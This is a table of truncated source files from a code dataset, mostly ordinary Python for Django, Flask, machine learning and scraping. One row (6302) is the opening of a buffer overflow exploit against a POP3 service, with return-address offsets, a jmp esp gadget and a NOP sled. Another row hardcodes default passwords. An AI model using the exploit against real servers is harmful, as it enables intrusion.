index int64 0 1,000k | blob_id stringlengths 40 40 | code stringlengths 7 10.4M |
|---|---|---|
6,300 | 29428e9ca4373c9f19d1412046ebe4fc3b1c48e3 | #!/usr/bin/python
"""Source base class.
Based on the OpenSocial ActivityStreams REST API:
http://opensocial-resources.googlecode.com/svn/spec/2.0.1/Social-API-Server.xml#ActivityStreams-Service
"""
__author__ = ['Ryan Barrett <activitystreams@ryanb.org>']
import datetime
try:
import json
except ImportError:
imp... |
6,301 | 348676e43e4dfbbe7cd0c0527acb8c613d3d1ebc | #!/usr/bin/env python
import sys
from static_pipeline import render
from static_pipeline.lib import argparse
if __name__ == "__main__":
""" Use argparse to decide what to do
"""
# set up arg parsing
parser = argparse.ArgumentParser(
description='render and rearrange files ' \
... |
6,302 | 280a4e1fb35937bb5a5c604f69337d30a4b956a9 | #!/usr/bin/env python2
import socket
import struct
RHOST = "10.10.10.2"
RPORT = 110
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
# OFFSETS
# EIP 4654
# ESP 342
# EBP 4650
# jmp_esp in slmfc.dll at 5f4a358f
jmp_esp = 0x5f4a358f
nop_sled = "\x90" * 32
buf_totlen = 5000
offset_srp =... |
6,303 | 9a6f4f0eac5d9e5b4b92fcb2d66d39df15b3b281 | # -*- coding: utf-8 -*-
from flask import abort, flash, redirect, render_template, url_for, request
from flask_login import current_user, login_required
from . import user
from .. import db
from models import User
def check_admin():
"""
Prevent non-admins from accessing the page
"""
if not current_us... |
6,304 | 62a86bd33755510f0d71f4920e63be1a3ce8c563 | from bs4 import BeautifulSoup
import urllib.request
import re
import math
url_header = "http://srh.bankofchina.com/search/whpj/search.jsp?erectDate=2016-01-25¬hing=2016-02-25&pjname=1314"
Webpage = urllib.request.urlopen(url_header).read()
Webpage=Webpage.decode('UTF-8')
# soup = BeautifulSoup(Webpage)
print (Webp... |
6,305 | 870de8888c00bbf9290bcc847e2a4fbb823cd4b7 | import math
import sys
from PIL import Image
import numpy as np
import torch
from torch.utils.data import Dataset
from sklearn.gaussian_process.kernels import RBF
from sklearn.gaussian_process import GaussianProcessRegressor
sys.path.append("..")
from skssl.utils.helpers import rescale_range
__all__ = ["SineDataset... |
6,306 | ddb139fa3fbfa1218459e3865150465a44a03bea | # Created by Yuexiong Ding
# Date: 2018/9/4
# Description:
|
6,307 | c7d8a67587a6ca01c23ed922faabbaca8bbaf337 | import time
import threading
lock_a = threading.Lock()
lock_b = threading.Lock()
def task1():
print('Task 1 is starting...')
print('Task 1 is waiting to acquire Lock A')
with lock_a:
print('Task 1 has acquired Lock A')
print('Task 1 is doing some calculations')
time.sleep(2)
... |
6,308 | 3a5d55ea5a2f4f6cf7aaf55055593db9f8bb3562 | # Generated by Django 3.0.7 on 2020-07-03 11:08
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('descriptor', '0007_auto_20200702_1653'),
]
operations = [
migrations.CreateModel(
name='Paramet... |
6,309 | bb3cba9847f2318a5043975e4b659265a7442177 | #def pizzaTopping():
message1 = "What Pizza do you want?"
message = "What type of Pizza topping do you want?"
message += "\n Enter 'quit' to stop entering toppings"
pizzas = {}
while True:
pizza = input(message1)
topping = input(message)
if topping == "quit":
break
else:
pizzas[pi... |
6,310 | a9b7abaaaa811cf12a15def1f2dd21f95bac3d62 | from django import forms
from django.conf import settings
class SurveyFeedback(forms.Form):
CHOICES = [('Very Satisfied', 'Very Satisfied'), ('Satisfied', 'Satisfied'), ('Neither', 'Neither'), ('Dissatisfied', 'Dissatisfied'), ('Very Dissatisfied', 'Very Dissatisfied')]
radioFeedback = forms.ChoiceField(label=... |
6,311 | cca9d91fe20e58f233ccfc4100edb748356ed234 | """
Plot funcs
Jan, 2018 Rose Yu @Caltech
"""
import matplotlib.pyplot as plt
import seaborn as sns
from util.matutil import *
from util.batchutil import *
def plot_img():
"""
plot ground truth (left) and reconstruction (right)
showing b/w image data of mnist
"""
plt.subplot(121)
plt.imshow... |
6,312 | 1711f74fae36ba761a7c0d84b95271b4e5043d27 | from app import db, session, Node_Base, Column, relationship
from datetime import datetime
import models
import os
import json
|
6,313 | 6f3aa4e1309745265bb9d79df5f5a352e54493f9 | #!/usr/bin/env python
#coding:utf-8
import jieba.analyse as analyse
from collections import Counter
import time
from os import path
import jieba
import importlib, sys
importlib.reload(sys)
import csv
import pandas as pd
from pandas import DataFrame
jieba.load_userdict("newdict.txt")
d = path.dirname(__fi... |
6,314 | 299d13fbcdb75673026db1e3a0352c8b19d453c1 | import paho.mqtt.client as paho
import RPi.GPIO as GPIO
import json, time, math
import clearblade
from clearblade import auth
from clearblade import Client
from urlparse import urlparse
#Fill init values
systemKey = ______
secretKey = ______
userName = _______
userPW = _______
edgeIP = "http://_______:9000"
auth = au... |
6,315 | 2c58a9e83f80d437160b87ec64c7631e7a35bf90 | import os, pickle, logging, numpy as np
from .. import utils as U
class CMU_Generator():
def __init__(self, args, dataset_args):
self.in_path = dataset_args['cmu_data_path']
self.out_path = '{}/{}'.format(dataset_args['path'], args.dataset)
self.actions = ['walking', 'running', '... |
6,316 | fc2a123f8a86d149af9fc73baa360a029fcde574 |
""" Unit test for the Supermarket checkout exercise """
import unittest
from decimal import *
from ShoppingCart import *
# Unit tests -----
class ScannerTests(unittest.TestCase):
def setUp(self):
pricingRulesWithSingleDiscount = { 'Apple': { 1 : '0.50' , 3 : '1.30' },
'Orange'... |
6,317 | 23f0ba622097eb4065337ea77ea8104a610d6857 | import os
import sys
sys.path.append("..")
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
from sklearn.linear_model import Ridge
from sklearn.model_selection import train_test_split, StratifiedKFold
from sklearn.metrics import accuracy_score
import config
from mikasa.common import timer
fro... |
6,318 | 080aa8b99cdded7a947880a1c3399f68b28ae44d | """
Sprites - animations for objects.
"""
import config
import os
import pygame
class Sheet(object):
""" An single large image composed of smaller images used for sprite
animations. All the sprites on the sheet must be the same size. The width x
height give the sprite dimensions in pixels. The rows x colu... |
6,319 | cd1d8a73b6958775a212d80b50de74f4b4de18bf | import requests
from lxml import etree
from pymongo import MongoClient
from lib.rabbitmq import Rabbit
from lib.log import LogHandler
from lib.proxy_iterator import Proxies
import yaml
import json
import datetime
import re
import time
setting = yaml.load(open('config_local.yaml'))
log = LogHandler('article_consumer')... |
6,320 | f3eed00a58491f36778b3a710d2f46be093d6eda | from migen import *
from migen.fhdl import verilog
class Alignment_Corrector(Module):
def __init__(self):
self.din=din=Signal(32)
self.aligned=aligned=Signal()
self.dout=dout=Signal(32)
self.correction_done=Signal()
# # #
first_half=Signal(16)
first_half1=Signal(16)
second_half=Signal(16)
self.submo... |
6,321 | 45f0a7a78184195a593061d863ff2114abe01a46 | """
ConstantsCommands.py
"""
TEST_HEAD = "\n >>>>>> " \
"\n >>>>>> Test in progress: {0}" \
"\n >>>>>>"
TEST_TAIL = ">>>>>> Test execution done, tearDown\n\r"
|
6,322 | 516d9790f40c021d45302948b7fba0cf3e00da0a | # -*- coding: utf-8 -*-
"""
Created on Tue Sep 15 10:28:04 2020
@author: Maxi
"""
import numpy as np
from ase.io import read
from RDF_3D import pairCorrelationFunction_3D
import matplotlib.pyplot as plt
filename = r"C:\Users\Maxi\Desktop\t\Ag_HfO2_cat_3.125_222_t.cif"
crystal = read(filename)
corrdinates = cryst... |
6,323 | ccf9c389a65d1420e87deec2100e37bccdcb5539 | #encoding:utf-8
from flask import Flask
import config
from flask_rabbitmq import Queue, RabbitMQ
app = Flask(__name__)
app.config.from_object(config)
queue = Queue()
mq = RabbitMQ(app, queue)
from app import demo
|
6,324 | 59376f6565cd72e20087609253a41c04c6327a27 | # encoding:UTF-8
# 题目:斐波那契数列。
def fib(n):
if n==1 or n==2:
return 1
return fib(n-1)+fib(n-2)
print (fib(10))
|
6,325 | 5723e7889663142832a8131bb5f4c35d29692a49 | from . import *
from rest_framework import permissions
from core.serializers import CategorySerializer
from core.models.category_model import Category
class CategoryViewSet(viewsets.ModelViewSet):
serializer_class = CategorySerializer
queryset = Category.objects.all()
def get_permissions(self):
... |
6,326 | 7a2ac3a3a2bbd7349e8cc62b4d357394d9600cc8 |
#! /usr/bin/env python
def get_case(str_arg):
first_life_and_work(str_arg)
print('small_hand')
def first_life_and_work(str_arg):
print(str_arg)
if __name__ == '__main__':
get_case('thing')
|
6,327 | d9156e240d49e0a6570a5bc2315f95a7a670fd4f |
#####
# Created on Oct 15 13:13:11 2019
#
# @author: inesverissimo
#
# Do pRF fit on median run, make iterative fit and save outputs
####
import os
# issue with tensorflow, try this suggestion
#NUM_PARALLEL_EXEC_UNITS = 16
#os.environ['OMP_NUM_THREADS'] = str(NUM_PARALLEL_EXEC_UNITS)
#os.environ["KMP_AFFINI... |
6,328 | 77ea670b537e9ff7082aeb9ed54b011fa8e3a035 | from django.contrib import admin
from employees.models import Leave,EmployeeProfile
admin.site.register(Leave)
admin.site.register(EmployeeProfile)
# Register your models here.
|
6,329 | 6b2a9e8c6e95f52e9ebf999b81f9170fc669cce4 | import os
import time
import requests
from dotenv import load_dotenv
from twilio.rest import Client
load_dotenv()
BASE_URL = 'https://api.vk.com/method/users.get'
def get_status(user_id):
params = {
'user_ids': user_id,
'V': os.getenv('API_V'),
'access_token': os.getenv('ACCESS_TOKEN'),... |
6,330 | 1d2dae7f1d937bdd9a6044b23f8f1897e61dac23 | #!/usr/bin/python3
print("content-type: text/html")
print()
import subprocess
import cgi
form=cgi.FieldStorage()
osname=form.getvalue("x")
command="sudo docker stop {}".format(osname)
output=subprocess.getstatusoutput(command)
status=output[0]
info=output[1]
if status==0:
print("{} OS is stopped succesfully....".form... |
6,331 | be9179b33991ba743e6e6b7d5dd4dc85ffc09fc3 | """
util - other functions
"""
import torch
import numpy as np
from common_labelme import Config
from torch.autograd import Variable
I = torch.FloatTensor(np.eye(Config.batch_size),)
E = torch.FloatTensor(np.ones((Config.batch_size, Config.batch_size)))
normalize_1 = Config.batch_size
normalize_2 = Config.batch_size *... |
6,332 | 5a50ca64810c391231a00c6bfe5ae925ffe5ca7d | from utilidades import moeda
p = float(input('Digite o preço: R$'))
print(f'Metade de {moeda.moeda(p)} é {moeda.metade(p, show=True)}')
print(f'O dobro de {moeda.moeda(p)} é {moeda.dobro(p, show=True)}')
print(f'Aumentando 10%, temos {moeda.aumentar(p, 10, show=True)}')
print(f'Reduzindo 13%, temos {moeda.diminuir(p, ... |
6,333 | 5ebc4f61810f007fd345b52531f7f4318820b9c8 | from marshmallow import fields, post_load
from rebase.common.schema import RebaseSchema, SecureNestedField
from rebase.views.bid_limit import BidLimitSchema
class TicketSetSchema(RebaseSchema):
id = fields.Integer()
bid_limits = SecureNestedField(BidLimitSchema, exclude=('ticket_set',), only=('id',... |
6,334 | 2f96e58a825744ae6baafd1bfb936210500f0fd0 | #!/usr/bin/env python3
from aws_cdk import core
import os
from ec2_ialb_aga_custom_r53.network_stack import NetworkingStack
from ec2_ialb_aga_custom_r53.aga_stack import AgaStack
from ec2_ialb_aga_custom_r53.alb_stack import ALBStack
from ec2_ialb_aga_custom_r53.certs_stack import CertsStack
from ec2_ialb_aga_custom_... |
6,335 | b6898b923e286c66673df1e07105adf789c3151c | from objet import Objet
class Piece(Objet):
""" Représente une piece qui permet d'acheter dans la boutique """
def ramasser(self, joueur):
joueur.addPiece()
def depenser(self,joueur):
joueur.depenserPiece()
def description(self):
return "Vous avez trouvé une piece... |
6,336 | c70df1fab0db6f71d22a23836b11d66879879656 | from django.db import models
from django.contrib.contenttypes.models import ContentType
from widgy.generic import ProxyGenericForeignKey, ProxyGenericRelation
from django.contrib.contenttypes.generic import GenericForeignKey, GenericRelation
class Base(models.Model):
content_type = models.ForeignKey(ContentType)... |
6,337 | cba12d076ed8cba84501983fda9bdce8312f2618 | # -*- coding: utf-8 -*-
import scrapy
from scrapy.linkextractors import LinkExtractor
from scrapy.spiders import CrawlSpider, Rule
class ItemCrawlSpider(CrawlSpider):
name = 'auction_crwal'
allowed_domains = ['itempage3.auction.co.kr']
def __init__(self, keyword=None, *args, **kwargs):
super(Item... |
6,338 | b36f3ffed888edaa7716f712f1549dc205799caf | # Generated by Django 3.0.5 on 2020-04-25 15:35
from django.db import migrations, models
import lots.models
class Migration(migrations.Migration):
dependencies = [
('lots', '0012_auto_20200425_1720'),
]
operations = [
migrations.AlterField(
model_name='lots',
nam... |
6,339 | 03147de944c4f75417006a5087e75354dba644ec | import sys
sys.path.append("..")
from packages import bitso as BS
from packages import account as ACCOUNT
from packages import currency_pair as CP
account=ACCOUNT.Account('577e4a03-540f9610-f686d434-qz5c4v5b6n','dd7b02f5-c286e9d4-f2cc78c3-bfab3')
bs=BS.Bitso(account)
currency_pair=CP.CurrencyPair('btc','xmn')
depth=b... |
6,340 | 49b295c3e323695779eb32181193ef88b678b34d | from fastapi import APIRouter, Depends
from fastapi.responses import RedirectResponse
import app.setting as setting
from app.dependencies import get_project_by_prefix
from app.entities.project import Project
router = APIRouter(
prefix="/go",
)
@router.get("/{prefix_id}")
def redirect_to_board(project: Project ... |
6,341 | c025fccad9d37dff4db3a10455cbe7d92917d8f6 | #!/usr/bin/env python
__author__ = 'greghines'
import numpy as np
import matplotlib.pyplot as plt
import csv
import sys
import os
import pymongo
import matplotlib.cbook as cbook
import cPickle as pickle
sys.path.append("/home/greg/github/pyIBCC/python")
import ibcc
client = pymongo.MongoClient()
db = client['condor... |
6,342 | 2b23237e697cb4ca8f1013d7be343c70fba9541d | import random
class Madlib:
'''
This class generates the madlib from word lists.
'''
def get_madlib(self):
madlib = """
Once there was a {0}. It {1} at the {2}.
Then because of its {3} it {4}. Wow! You sure are {5}!
Thanks! I {6} you very much.
"""
nouns... |
6,343 | d6fa3039c0987bf556c5bd78b66eb43543fd00fe | from fastapi import FastAPI
from pydantic import BaseModel
from typing import List, Optional
from joblib import load
app = FastAPI()
clf = load("model.joblib")
class PredictionRequest(BaseModel):
feature_vector: List[float]
score: Optional[bool] = False
@app.post("/prediction")
def predict(req: PredictionReq... |
6,344 | 1af73c0ca38ea32119f622dc14741c0bb0aa08fd | # 001. 웹 서버에 요청하고 응답받기
# 학습 내용 : 웹 서버에 접속하여 웹 페이지 정보를 요청하고 서버로부터 응답 객체를 받는 과정을 이해한다.
# 힌트 내용 : requests 모듈의 get() 함수에 접속하려는 웹 페이지의 주소(URL)를 입력한다.
import requests
url = "https://www.python.org/"
resp = requests.get(url)
print(resp) # 200, 정상 동작
url2 = "https://www.python.org/1"
resp2 = requests.get(url2)
print(resp2)... |
6,345 | 991c361043eb1539a80b5e8e1db44bc365e7e639 | #!/usr/bin/env/ python
# -*- coding:utf-8 -*-
# Created by: Vanish
# Created on: 2019/9/25
import numpy as np
from scipy import optimize
def sigmoid(z):
return 1 / (1 + np.exp(-z))
def costReg(theta, X, y, lamda):
theta = np.matrix(theta)
X = np.matrix(X)
y = np.matrix(y)
first = np.multip... |
6,346 | 25434fccff4401df2cebc9b0c4d0231f056b4e81 | def sumIntervals(input):
interval = set()
if len(input) > 0:
for data in input:
if len(data) == 2 and data[0] < data[1]:
for i in range(data[0], data[1]):
interval.add(i)
else:
return 1
return len(interval)
else:
... |
6,347 | a699b43c57c315967a6d1881d7012fee4a93607b | N = int(input())
l = []
for n in range(N):
x = int(input())
l.append(x)
l.sort()
print(*l, sep='\n') |
6,348 | 618a8430d50aeca1c4b9c3fba975be342cc1893f | #!/usr/bin/python
# -*- coding: utf-8 -*-
#Title: Counting summations
import math
limit = 201
comboList = dict()
alphabet = range(1, limit)
searchAlphabet = set(alphabet)
def concat(a, b):
return "%i %i" % (a, b)
def split(n, min=1, tab=6):
if concat(n,min) in comboList.keys():
if tab == 6:
print " %sn = %i, ... |
6,349 | fabd3f233753f63d731a43c8b8b311e50d9deefe | # 217 is a prime number. In order 2017 to be a divisor of for sigma(a)=Product((p**(n+1)-1) // (p-1) for all divisors) it must be a power of a prime with (p**(a+1)-1) // (p-1) % 2017 == 0
# so we need only to check all such primes 'p' and count all k*p for k=1..N//p. We check p^n with n>=2 by brute force all primes. F... |
6,350 | 11337f6f9cf22ba6fbed68dfcb7a07fb6368e94e | # -*- coding: utf-8 -*-
from django.db import models
from backend.models.account import Account
from string import Template
out = Template("$account: $parts")
class Group(models.Model):
name = models.CharField(max_length=100)
class GroupParticipation(models.Model):
account = models.ForeignKey(Account, r... |
6,351 | 221b6ad6035276fb59addc4065c4ccee3f5a2d84 | from random import choice, random
from tabulate import tabulate
from Constants import *
from time import sleep
import numpy as np
import os
class QLearn():
def __init__(self, alfa, gama, epsilon, epsilonDecay, epsilonMin, rewards, environment):
self.alfa = alfa
self.gama = gama
self.epsilon... |
6,352 | df25b51010fdbcbf1a8949a7a755a3a982bbf648 | from django.db import models
from .data import REGISTER_TYPE_CHOICES
from .data import ENTRANCE_TYPE
from .data import EXPENSE_TYPE
class EstheticHouse(models.Model):
name = models.CharField(
verbose_name='nombre',
max_length=512,
unique=True,
)
def __str__(self):
return ... |
6,353 | 107b09696ac671e689235da55aaf4c26ae7c321c | import scraperwiki
html = scraperwiki.scrape('http://www.denieuwereporter.nl/')
# scrape headlines van denieuwereporter-alle h1 koppen
import lxml.html
root = lxml.html.fromstring(html)
tds = root.cssselect('h1')
for h1 in tds:
#print lxml.html.tostring(h1)
print h1.text_content()
record = {'h1': h1.text_c... |
6,354 | fe1cc7660396071172c1ec65ba685e677e497646 | # TODO - let user input file name on command line
level_file = 'level.txt'
# read characters in level.txt into
# terrain map
# which is array of columns
f = open(level_file)
terrain_map = []
for row in f:
col_index = 0
row_index = 0
for tile in row.rstrip():
if col_index == len(terrain_map):
terrain_map.appen... |
6,355 | c1335a8128ad4ba6ce6942e80f3c8b68a4210902 | def chessKnight(cell):
pivot = "abcdefgh"
count = 8
for i in range(len(pivot)):
if cell[0] == pivot[i]:
vertical_4 , vertical_2 = False , False
if int(cell[1]) == 8 or int(cell[1]) == 1:
vertical_4 = True
count -= 4
elif int(cell[1]... |
6,356 | 63ee25791177ead5389c14990ce6da3e2c11b683 | import gym
import os
import sys
import numpy as np
import theano
import theano.tensor as T
import matplotlib.pyplot as plt
from gym import wrappers
from datetime import datetime
from mountain_car_v1_q_learning import Transformer
# so you can test different architectures
class Layer:
def __init__(self, m1, m2, f=... |
6,357 | b3ee76bc0d93135d0908044a2424dd927a390007 | import os
from sql_interpreter.tables.csv_table import CsvTable
from sql_interpreter.interpreter import SqlInterpreter
from sql_interpreter.cli import Cli
class InterpreterTest():
def setUp(self):
self.interpreter = SqlInterpreter()
self.cli = Cli(self.interpreter)
filename = os.... |
6,358 | 8cd50e1f0e0feb4d753443220f9fa9065e80e0ef | from concurrent.futures import ProcessPoolExecutor
from nltk import PorterStemmer, RegexpTokenizer
from stop_words import get_stop_words
class Preprocessor(object):
def __init__(self, max_workers=4):
self.max_workers = max_workers
self.tokenizer = RegexpTokenizer(r"\w+")
self.en_stopwords... |
6,359 | 548a236c4c485091d312593dcb0fa331ff98f1a8 | import sys
import os
import utils
def run(name, dim_k, dump='dump', add_cmd=''):
res = all_res[name]
model = 'ATT_ts' if res.split('_')[1] == 'att' else 'LastItem'
cmd = f'python main.py -model={model} -ds=v3 -restore_model={res} -k={dim_k} -show_detail -{dump} -nb_topk=2000 -nb_rare_k=1000 -msg={name} {a... |
6,360 | 5215b5e4efe2e126f18b3c4457dc3e3902923d49 | from django import forms
from django.forms import inlineformset_factory
from django.utils.translation import ugettext, ugettext_lazy as _
from django.contrib.auth.models import User
from django.conf import settings
from django.db.models import Max
from auction.models import *
from datetime import *
from decimal import ... |
6,361 | fa6f251f27b645fc6827285b5578fd9634c8bb30 | import gzip
import pickle as pkl
import time
from datetime import datetime
import grpc
import numpy as np
from sklearn.utils import shuffle
import neural_nets_pb2 as nn_pb
import neural_nets_pb2_grpc as nn_pb_grpc
from mnist_loader import load_data
from activations import *
# pylint: disable=too-many-arguments
cl... |
6,362 | ddbcc8e768f93a0b4f8776b19e752c57feb5bbf9 | #!/usr/bin/env python
#coding=utf-8
from datetime import *
import unittest
def getSnapshot(historyData, id):
data = historyData.split('\n')
lines = len(data)
if lines < 2 :
return 'Input is too short!'
index = 0
curid = ''
idlist = dict()
recordtime = ''
animal_pos = dict()
f... |
6,363 | 1d29ce58ca626155d626216fbbd70d7b241efa25 | import ccxt
import json
import time
from baglanti import mysql_baglan
import datetime
import requests
from urllib.parse import urljoin
import sys
db = mysql_baglan("bingo")
cursor = db.cursor()
cursor.execute('SET NAMES utf8;')
cursor.execute('SET CHARACTER SET utf8;')
cursor.execute('SET character_set_co... |
6,364 | fab1d2270ae906ca92cf3be2c2d9767737ea6083 | #!/usr/bin/env python
#coding:utf-8
import sys
import time
reload(sys)
sys.setdefaultencoding('utf8')
from bs4 import BeautifulSoup
import requests
import csv
import codecs
import xlwt
#from word_power_dict import get_url_dict
#from Vocabulary_Toefl_MP3s_5000_Words_Memory_Course_dict import get_url_dict
#from new_para... |
6,365 | 76905171602cbeb53903a4b0259685288da3a083 | import os
import datetime
import traceback
import json
import requests
import logging
from model import Product
from naver_api import naver_client_id, naver_client_secret
DEBUG = False
if not DEBUG:
logging.getLogger('boto3').setLevel(logging.WARNING)
logging.getLogger('botocore').setLevel(logging.WARNING)
... |
6,366 | 70cef88f3fe93d370e5d21a2b00b761ce530a099 | """
Given a random set of numbers, Print them in sorted order.
Example 1:
Input:
N = 4
arr[] = {1, 5, 3, 2}
Output: {1, 2, 3, 5}
Explanation: After sorting array will
be like {1, 2, 3, 5}.
"""
#complexity--> n*log n
def sortarray(arr):
for i in range(1,len(arr)):
key=arr[i]
j=i-1
while(j>... |
6,367 | 1e4d18909b72ceef729efdd7b2ab996ace45f1bd | __author__ = 'matthias'
from tcp import *
from data import *
#SERVER = "131.225.237.31"
#PORT = 33487
data = LaserData()
#server = TCP(SERVER, PORT)
server = TCP()
server.start_server()
for i in range(100):
data = server.recv_server()
print data
|
6,368 | 3a053c2c8a2b9123974183e65914dc0f73d2e078 | import glob
import os
import xml.etree.ElementTree as ET
file_dirs = ["train/","test/"]
for file_dir in file_dirs:
fdir = "custom_dataset/" + file_dir
for directory in os.listdir(fdir):
new_location = "/content/gdrive/My Drive/project/custom_dataset/" + file_dir + directory
xml_file... |
6,369 | 8220a6d33cda5861e74d6236757abbc81685a998 | # -*- coding: utf-8 -*-
"""
Modul do zapisu piosenki (wczytywanie ustawien (defs.txt), tworzenie .wav,
"zglasnianie utworu")
"""
print("Laduje modul o nazwie: "+__name__)
import numpy as np
def wczytywanie_ustawien(plik_konfiguracyjny = "defs.txt"):
"""
wczytywanie pl... |
6,370 | 52a4213a1729e25f96faebc5fd4f299017446c5a | # Generated by Django 3.0.10 on 2020-12-19 15:07
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
("wagtailadmin", "0001_create_admin_access_permissions"),
]
operations = [
migrations.CreateModel(
name="Admi... |
6,371 | f82c961fc1accd362b34a685bac4cc35d98f44ef | import pandas as pd
from sklearn.pipeline import Pipeline
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.svm import LinearSVC
from sklearn.model_selection import train_test_split
from sklearn.metrics import classification_report
if __name__ == "__main__":
dataset = pd.read_csv('./dataset.... |
6,372 | c9191df0fc04818b4df9c93a9479f75a60688aa9 | from django.shortcuts import render, HttpResponseRedirect, HttpResponse
from django.views.generic import View
from django.contrib.auth import login
from django.contrib.auth.models import User
class RegisterView(View):
def get(self, request):
return render(request, 'users/register.html', locals())
def... |
6,373 | 653c8db6741a586694d91bd9928d8326cce9e41d | # Copyright 2014 Amazon.com, Inc. or its affiliates. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"). You
# may not use this file except in compliance with the License. A copy of
# the License is located at
#
# http://aws.amazon.com/apache2.0/
#
# or in the "license" file accompa... |
6,374 | 8a6eb2eb746e3b9de92998b70ddff2a39cb1f269 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2018/4/11 16:07
# @Author : LiuZhi
# @Site :
# @File : Function.py
# @Software: PyCharm
#求绝对值的函数
print(abs(100))
print(abs(-20))
print(abs(12.34))
#print(abs(1,2))
#print(abs('q'))
print(max(1,2))
print(max(1,2,3,-5))
print(int('123'))
print(int(12.... |
6,375 | 318556a6c327294986fcef938c254b8dfe66adaa | class Car:
__name=""
__maxspeed = 0
def __init__(self):
self.__updateSoftware()
self.__name = "Supercar"
self.__maxspeed=320
def drive(self):
print("Driving")
print("name of the car " + self.__name)
def __updateSoftware(self):
print("Updating So... |
6,376 | f17d59ca9bfa82848ec6a599e98f759449ccdd14 | """
test_extra.py:
In this file i wrote extra tests to my calculator program.
Divided to some main parts:
- Math Errors Tests (divide in zero, factorial, complex numbers)
- Test with edge cases of minus (operator / sign)
- Big results tests: expression that their result
... |
6,377 | 7ce471b3a6966c1a60ae2e2f3ec42369fe3d0f9c | # Generated by Django 3.2.1 on 2021-05-17 18:02
import django.contrib.auth.models
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
('auth', '0012_alter_user_first_name_max_length'),
]
operations... |
6,378 | 9aeaab445ae9df5c27cc4375a8b6bf320d5ab873 | #代码整体框架
#引用库
#创建窗口
def GameStart():
#游戏背景对象
Background = pygame.image.load()
#挡板背景对象
Baddle = pygame.image.load()
#球对象
Ball = pygame.image.load()
#挡板位置信息
BaffleX
BaffleY
#球位置信息
BallX
ballY
BallSpeed
#帧率控制Clock对象
#显示时间Clock对象
#... |
6,379 | 8c1bd4df5f33c433880d6a4becadf88fb922762b | import os
from flask import Flask
from flask.ext.login import LoginManager
from config import basedir
from flask.ext.sqlalchemy import SQLAlchemy
from flask.ext.openid import OpenID
from momentjs import momentjs
app = Flask(__name__)
app.config.from_object('config')
db = SQLAlchemy(app)
lm = LoginManager()
lm.init_a... |
6,380 | fe0b21deb2e48ad74449b264265729cb328090ea | import os
from sklearn import metrics
import pandas as pd
import numpy as np
from submission import submission
import argparse
import glob
def calc_auc(subm):
preds=subm['target'].values
labels=subm['labels'].values
if len(set(labels))==1:
print('warning calc_auc with single label dataset, return... |
6,381 | bcc959dcdb60c55897158e85d73c59592b112c12 | from django.shortcuts import render, get_object_or_404
from django.utils import timezone
from django.db.models import Count
from django.db.models import QuerySet
from django.db import connection
from django.core.paginator import Paginator, PageNotAnInteger
from django.http import HttpResponse
from django.http import H... |
6,382 | c4dcb94b7d6e45b875dccde752d3621e491f1076 | correction_list = {}
correction_list["Legend of Zelda, The - Majora's Mask"] = "The Legend of Zelda - Majora's Mask"
correction_list["Legend of Zelda, The - Ocarina of Time"] = "The Legend of Zelda - Ocarina of Time"
correction_list["Doubutsu no Mori"] = "Animal Forest"
correction_list["Bomberman 64 - The Second Attac... |
6,383 | 5c5a0fd67a6d6e805b77ddfddfe959335daa3bad | import datetime
a = datetime.datetime.now()
while True:
print("""\
Welcome to HMS
1. Are you want enter data
2. Are you want see record
3. exit
""")
option = int(input("enter your option"))
print(option)
if option == 1:
print("""\
Select client na... |
6,384 | d2368ab243a0660cf98f1cf89d3d8f6cc85cefaa | # -*- coding: utf-8 -*-
# Generated by Django 1.9.4 on 2016-06-10 12:20
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Complet... |
6,385 | 3640f1df412b43b42fb4e856604508f698a208ad | from django.db import models
from skills.models import skill
from offres.models import Offer
# Create your models here.
class OfferRequirement(models.Model):
skill = models.ForeignKey(skill, on_delete=models.DO_NOTHING ,default="")
offer = models.ForeignKey(Offer , on_delete=models.CASCADE, default="") |
6,386 | 681750dbf489a6a32e9ef1d6f64d493cc252b272 | from .. import dataclass # trigger the register in the dataclass package
|
6,387 | 52c356b903b1fbb8cbf24c899ed86d7bf134a821 | # -*- coding: utf-8 -*-
from lxml import etree
if __name__ == '__main__':
# xpath可以解析网页中的内容,html或者xml类型的文件都是<>开头结尾,层次非常明显
# data = '''<div>
# <ul>
# <li class="item-0"><a href="http://www.baidu.com">百度</a></li>
# <li class="item-1"><a href="http://www.baidu.com">百度</a></li>
... |
6,388 | dcb2351f9489815fbec8694b446d0a93972a6590 | """1) Написать бота-консультанта, который будет собирать информацию с
пользователя (его ФИО, номер телефона, почта, адресс, пожелания).
Записывать сформированную заявку в БД (по желанию SQl/NOSQL).)."""
import telebot
from .config import TOKEN
from telebot.types import ReplyKeyboardMarkup, KeyboardButton, InlineKeybo... |
6,389 | 573674e50e05880a2822f306c125207b382d872f | from django.conf import settings
from django.contrib import admin
from django.urls import path, include, reverse_lazy
from django.views.generic import RedirectView, TemplateView
from mainapp.views import ShortURLRedirect
urlpatterns = [
path('', TemplateView.as_view(template_name='mainapp/index.html'), name='inde... |
6,390 | e70ebd9bb9cd7027772ec117cb91349afba7ab10 | #TODO: allow workers to pull this from cache
RABBITMQ_IP = '172.23.105.82'
OBJECT_CACHE_IP = "172.23.105.69"
OBJECT_CACHE_PORT = "11911"
SERIESLY_IP = ''
COUCHBASE_IP = '172.23.105.54'
COUCHBASE_PORT = '8091'
COUCHBASE_USER = "Administrator"
COUCHBASE_PWD = "password"
SSH_USER = "root"
SSH_PASSWORD = "password"
WORKER... |
6,391 | 2424d667e1bb4ee75b5053eb6f9b002787a5317f | from flask import Flask, request, jsonify
import sqlite3
from database import Database
app = Flask(__name__)
db = Database()
@app.route('/')
def homepage():
argslist = request.args
faciltype = argslist.get('facil')
facils = []
try:
facils = db.getFacilitiesFromFacilityType(facilty... |
6,392 | 7c5877eea78c3fa8b7928219edd52e2502c16c09 | from django import forms
class TeacherForm(forms.Form):
name = forms.CharField(label='Your Name', max_length=100, widget=forms.TextInput(
attrs={'class': 'form-control text-center w-75 mx-auto'}))
